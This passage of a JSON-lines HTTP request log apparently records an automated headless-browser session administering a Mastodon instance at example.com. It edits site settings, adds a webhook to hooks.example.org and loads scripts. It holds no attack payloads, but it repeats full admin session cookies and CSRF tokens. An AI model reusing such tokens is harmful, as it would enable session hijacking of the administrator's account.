_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--37e4c63f47333c5d904e889e86fb89cff6a3b908; _mastodon_session=El0%2Bunihpv5oKmWEYqYL3CCkDYclpcA%2Bo8LPjwOrQ%2Fhq7WoJoe6OkPy7qmVVKSvR62qvfs9xK7AIbfOL0wWM5my2bJxl1Tu7YH%2FtjCdkDMhDIVeTx63yp%2Bh9s2CeWqRGhgc4ro9gFDBBfoeBSi9Ayp7AjMhN2UjBlDPGHR6z6XCrKGVWfRB%2Bb1P8su9cZy7CiOIP21TK7vz76glcMufzsuy4HKQYc0O4zyDOjPeYIFwGWIBzJm8iWpXYfE2F3ebtfpFvIsw7wgdgtkM4fQt1ZLLmISwF%2FBj7kZYyZgus2K%2FKj52kHLlnaMT4ym4r37raIAZ%2FxvBOSEKWRisxS5MV7IyyRiSPqtZjTdLpZUGgURq0wsPW0Qexa659O6msNlnMuCblcsvZmPeO--UyO29PyGZYx97Pa7--bQ9lbi8brnPGxR%2BFQgI5Lg%3D%3D"], "body": "------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"_method\"\r\n\r\npatch\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\nRTJLo-YR6R8Y3S4H3-X2c8AlL-EIh8OiI5lasSjHmPDX3JQW8zPV-8lclHQxwpMq60k-w0TgqKZfGi-KKpt6tw\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_title]\"\r\n\r\nPython3 social\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_username]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_email]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_short_description]\"\r\n\r\nA place to talk about python3, powershell, ls -la and .htaccess\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[thumbnail]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[favicon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[app_icon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[landing_page]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[landing_page]\"\r\n\r\ntrends\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"button\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8--\r\n"}
{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuNjk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--22debca1da960bffd82aac01ac0c941aa52792f4; _mastodon_session=1GEZphvi3cCHiYcW%2BChp%2FlHgy2qzbgVdsefvbMMxqunxRJd8LJr8JswyxEWOycAwXN5T0P%2BLPobx96DsoxAi8mq6aUH3Y2eefzIZTCn99wbeiBcC4X5kWXLjw5Axa5fmXrpg51YK3okjCc9IVdGln6e%2BUZDuK2xMFrV9yOZVhsfRVtl2uNM98jhPgZ3EsYA1ZYYw0XxyIUOUDrKJxOV4z6LXPJrw4K0J0qM0dAdY%2BxPKHXWmnSltttrnoN1YcevxXICcQO6r0XZ3qDgYfyI0Sc%2BkwR8LhJxjZk5x%2B5M7tQQFNipm7YQPrSV1M6Glow1AYnH9b9InOguYfQDW0BWQqrreXxc9x7IGs2IzDfrBy%2F02dZ9FWi56Y4ZHJoRTrt1c5VmxN9avfgCx--pAMFdO38T4YBeP32--kt0DSSb4rWxgxJhOQftJ5g%3D%3D"], "body": ""}
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "POST", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTIuODU0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a2bc783846af8fe17b646fc75c47e7491d2406bf; _mastodon_session=icNQY%2BOCGkQr4lvvFf8UNa383HXxXz9Vk%2Ft4C3h2b2amjNZqMvWjv%2BMYZ5PWt%2Fu%2BPtNEUVCQRVMYfZBvpfvH6f835bSkn3GceMC7j0v8wvRP1tpx5EZ77NMnhKZLODPLP3a2JtZDUMuUjS9sgQAaBjKpxEbc95g4hM1ZMc9U8gKCvXagz4Opdvyq8foLpi%2FgBi5SqPb8SEmZILIufJkz8RDJo0snrresnU%2BgiUDtnJuSIVeMlZ2zNAE4CFrTb%2FhCEisaMEYLcv33OQ%2BaqOszFUUYNqutGTdoTrWIy2mmEqGJKndhw9iykV2m0XJmJX2s80uaSRMVwB2qutrzVWSgy6foEpmSTWPMgSzoY8aTB5ZD6fMRjoHyLii5%2BJQAa9xd23Ennd1AsAuX--sj4C8klsQKipC4C4--F6l0746V9zwTdjJ7TrAGlA%3D%3D"], "body": "_method=patch&authenticity_token=90-kdU6RqtN84sEbG09d3FjkfFi2xlViFjnBvCoEPTYGLpu5V1rIBrDMgLJ3VlEdXqUnrAJCZbeyn1BTE4jE0A&form_admin_settings%5Bsite_extended_description%5D=We+talk+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&form_admin_settings%5Bshow_domain_blocks%5D=disabled&form_admin_settings%5Bshow_domain_blocks_rationale%5D=disabled&form_admin_settings%5Bstatus_page_url%5D=&form_admin_settings%5Bsite_terms%5D=&button="}
{"method": "GET", "target": "/admin/webhooks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNTY3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7ad4936650dd58a025dc3da70b543ef0a1055f60; _mastodon_session=3ix7xk5UiIlbEU%2F89duZ51TbMh2dvzC8BmPfEVtqkqQlbEz18fVBzrRc7kE5KCH7pw5XHkS67gCdvIDxg5WIfKA4FJxYaqiQKyUKpYm9kOpDYIkSTGu142eiY5mSWJc6VvoZATUmxLdNIgoDlvFmBot85A%2BOIJ2Tm0DbYDyPjN5IfUMigWZH8bdSO7EcUQR9oNDQJUguUkcuuW8MTri4YEPZB8EKqJ%2BYaw4gMVFOXojAoWVshKoZwC6M4iFViyCKaHHWk2cAoPvWJvKhCqL0lqZob%2BxDQtHIuQAyT62AKTsn%2FjTOFRW0C5j2jS88ECxQBb1IRdljubi8wLWadyD1A%2F4gNd7tNBFB0%2F0qYuKC9QpQbDQ%2BdN6jc1boanMcq3xjO%2BlxOGdchRW8--CW7uuAKR3ecZDNLs--SjXc9nWdMvQYuhtDRBlIhA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 264", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTUuNjYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--44ca990094674afcaea00d1827cbae19f404fb75; _mastodon_session=DHZdf2rm8Fee%2B8E%2BaNohpWRgBdZX%2BNMnbXDf0c%2Bn7QPr%2FMbjt98sl5nEnqxIEJMKaWQqEvzgxtiBsoy8z%2BZkYlI4apBDDlSgk6J4sjqbkaA8d%2B%2Fc%2F9bh8FNoXT6mHR%2Fhp8prdwYYUYqPfopbBi6M%2BQKGsFAstGAsCTS4f5ZjKDEBmEyytHeUbWuEUnp9Y7bbHp7k3y64lATb1m0RydI3z0ujx1h4qRNdlu11xR4%2FBpYJNnCWljxKzWECns0ncUAaniMZktdJm57lvdSxxsOoRuH0QUIH0qU68jTENyv6Ww1KecVDyC5lDvHXPdx3M1HjGYYW5OTdNc%2F4BKUXcOtFLwKLI1jNxpwEEKMWhgm3hQfFTJxOniKNae%2Bc5OYBUCkYkFdXIV4gokM3--AZcshY7b6cSyrDdi--T2FuS%2BFuZaS9R7vEc3iQWQ%3D%3D"], "body": "authenticity_token=ncYD7puSoXHWbZGvU7Kfo3RSArdOAlBufNayqH9w9s9Onu1Hpd3xzqokP0tA8eh7g1io8VSL9_nndxv8qWIfqQ&webhook%5Burl%5D=https%3A%2F%2Fhooks.example.org%2Fpython3&webhook%5Bevents%5D%5B%5D=&webhook%5Bevents%5D%5B%5D=account.created&webhook%5Btemplate%5D=&button="}
{"method": "GET", "target": "/admin/webhooks/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/webhooks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjAwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--00b3e23edac7d3eda1604efa0f833284716e3bfb; _mastodon_session=HoxlQZhb47uRosruBqkyAs2lvo7AIaf7xmrk8AVn0q2eJ5WEskKmxnY5b9xofI1xl8JCqaWVbcOaTNHFZSG8QE3YkSUdhMOVo2Kx2MFSJ4x2nfcfp1mBwXE2KVkOb0CFL5EpGrI7G88SlVMTLWkvbPS3CLn03TM3mRWElgZlmAZd4TnjJjKx83FMgb9JHfPGAcpqf3bpewnfMRUB5wbAX0rZDzZg5ueA1DW19kNO8ZgsiuM%2FG%2BsYmC2tjVb6zwvy9aC9MDvB83qfSSnGDZySFaqPMuGi0m8BF6qirE9T5mZFY6PHv0vc1gXCv8fLW%2B3GgeeYHAuKNwibcxBj2DLFt8w4KznE%2FhHaOYv75%2Blkyx1YQYyTfQjgKQQGMxjjH9gezFHUhna99ZTh--G0vHxNdSQOUeajTH--cXsF%2BtwTylT1wt75SOfsEw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NTguNjE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--11c18a1bc19c76b955d882ed276387788bc3ac8c; _mastodon_session=VeTbqqxP7FQCarkc5KvbXF0VDqqCj%2BvLEs8f%2FsokymF7lKVgbNrRMADt8xF7NKuRUBRtlaQsgY7z%2FTpi6b3QQ%2BlB5TfAQ9sXTEPb7sle0deRilv2CiV3ig8HV558kUCuyeJRTGn4%2BZpEpzrarngZizF6Kt5PMHUV5IZtX17cUr%2FeMdWbviUZlSvCAFobxQDfTLliJ%2BD50seUFuDeFf7H3sklqItRttq7yXZGS1yGBbHC1a3m46LPYxcA%2B1knOQ3gYAGgxFBallL0%2FE1eSN6yEEvbayaEaeITyEgdi%2Fke9AJ%2B1Uejo93n2oDlt36PlBVbyGooPu4K74aXunQktfxMTfxeGiqQ%2BXHuhdhpmYoKkoLz5%2FVpBy3C6VGgc%2FIU1m%2BSoILO9i%2BIksRr--Md1GA4%2F%2B3JhDBlIO--uIlLRzZSM5bXfJNcEdwt1Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/reply-NI2DkwdJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/components-BM4_xVIg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MDguOTM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--660d11e8c95aa52cb6ceee81af05d93919e49bcb; _mastodon_session=v8%2FmnnGP0VM3lT5KxybV1Y6ICh0MWnMhUcUDbFKZhHi2ekAFsw9mu1fug%2Fx9az8V7FywnF8hyOF5Q0g3TDYgcAuzyGWu%2FctTLoV8%2Bujgf8OjXaFP3H7%2F431JWQ%2BhTtOtdZIhTB6n1PMiNeHp5cbGuplWGvg1E7I8NjbeCwfSMuA%2BelCCZuKwTEJiRFTTh4xUsm6Kwb39QYH7bIYDyiS3cWK1mUXexrx4kdJm2oXWhXHOi5Jq3zB4tlv598VC0EKGtA6XgS1UR9a%2FZIE0ah6PuBddWESglXQKNBklW0ret5b1nHyYIb0RcPr0OgvGX0rdD3pavR7B4kNjsLmXwtC%2FmUePO3hw%2BuCYmIrjrbsVUpf%2F66Oa0Cx0okTJSp%2FsTuSJGKyMunaeHDru--CA2Xj7DMUOjhNIXp--dxxbAgVtYEmsi76%2FjEvatg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/render-DgEIfTde.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/profile", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 